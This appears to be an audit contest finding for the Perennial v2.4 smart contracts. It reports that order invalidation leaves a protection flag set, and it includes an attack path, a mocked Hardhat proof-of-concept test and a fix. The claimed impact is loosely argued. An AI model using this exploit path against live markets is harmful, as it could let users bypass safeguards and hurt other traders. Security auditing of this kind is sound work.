Skip to content

Latest commit

 

History

History
123 lines (94 loc) · 4.59 KB

File metadata and controls

123 lines (94 loc) · 4.59 KB

Glorious White Albatross

Medium

External attacker can cause the bypass position protection checks after order invalidation, making the order status inconsistent

Summary

A missing protection flag reset in the Order invalidation logic will cause an inconsistent state issue for market participants as malicious actors can bypass position protection checks after order invalidation.

Root Cause

In OrderLib.sol the invalidate() function zeroes out positions but fails to reset the protection flag, leading to an inconsistent state where an order can be both invalidated and protected simultaneously.

The relevant code : https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/types/Order.sol#L87-L92

Internal Pre-conditions

  1. A user needs to have a protected order (typically through liquidation)

External Pre-conditions

No

Attack Path

  1. Attacker waits for a protected order to be created (e.g., through liquidation)
  2. When the oracle reports an invalid price: The order gets invalidated through invalidate() function and Positions are zeroed but protection flag remains set
  3. The attacker can now bypass certain invariant checks that depend on protection status
  4. This allows them to execute operations that should be blocked for protected orders
  5. The market contract enters an inconsistent state where protection mechanisms can be circumvented

Impact

Protected orders can be manipulated in ways that violate the intended market safety mechanisms Market invariants is violated as well.

PoC

describe('#poc', async () => {
  beforeEach(async () => {
    await market.connect(owner).updateParameter(marketParameter)
    dsu.transferFrom.whenCalledWith(user.address, market.address, COLLATERAL.mul(1e12)).returns(true)
    dsu.transferFrom.whenCalledWith(userB.address, market.address, COLLATERAL.mul(1e12)).returns(true)
  })

  it('invalidation vulnerability with protected orders', async () => {
    // 1. Setup maker position
    await market.connect(userB)['update(address,uint256,uint256,uint256,int256,bool)'](
      userB.address,
      POSITION,
      0,
      0,
      COLLATERAL,
      false
    )

    // 2. Create a protected order through liquidation
    oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION_2, INITIALIZED_ORACLE_RECEIPT])
    oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_3.timestamp])
    oracle.request.whenCalledWith(user.address).returns()

    await settle(market, userB)
    dsu.transfer.whenCalledWith(liquidator.address, EXPECTED_LIQUIDATION_FEE.mul(1e12)).returns(true)
    dsu.balanceOf.whenCalledWith(market.address).returns(COLLATERAL.mul(1e12))

    await market.connect(liquidator)['update(address,uint256,uint256,uint256,int256,bool)'](
      userB.address,
      0,
      0,
      0,
      0,
      true // Mark as protected
    )

    // 3. Move to next oracle version with invalid price
    const INVALID_ORACLE_VERSION = {
      ...ORACLE_VERSION_3,
      valid: false
    }
    oracle.at.whenCalledWith(ORACLE_VERSION_3.timestamp).returns([INVALID_ORACLE_VERSION, INITIALIZED_ORACLE_RECEIPT])
    oracle.status.returns([INVALID_ORACLE_VERSION, ORACLE_VERSION_4.timestamp])
    oracle.request.whenCalledWith(userB.address).returns()

    // 4. Process the order - this should invalidate it but protection remains
    await settle(market, userB)

    // 5. Verify the vulnerability
    const order = await market.pendingOrders(userB.address, 2)
    expect(order.maker).to.eq(0) // Position should be zeroed
    expect(order.protection).to.eq(1) // Protection flag should be cleared but isn't

    // 6. This inconsistent state allows bypassing certain invariant checks
    await market.connect(userB)['update(address,uint256,uint256,uint256,int256,bool)'](
      userB.address,
      POSITION,
      0,
      0,
      0,
      false
    )

    // The operation succeeds when it should have failed due to protection status
    const finalOrder = await market.pendingOrders(userB.address, 3)
    expect(finalOrder.maker).to.eq(POSITION) // Should not be able to open position while protected
  })
})

Mitigation

Add protection flag reset in the invalidate() function:

function invalidate(Order memory self, Guarantee memory guarantee) internal pure {
    self.protection = 0; // Reset protection flag
    (self.makerReferral, self.takerReferral) =
        (UFixed6Lib.ZERO, guarantee.orderReferral);
    // ... rest of the function
}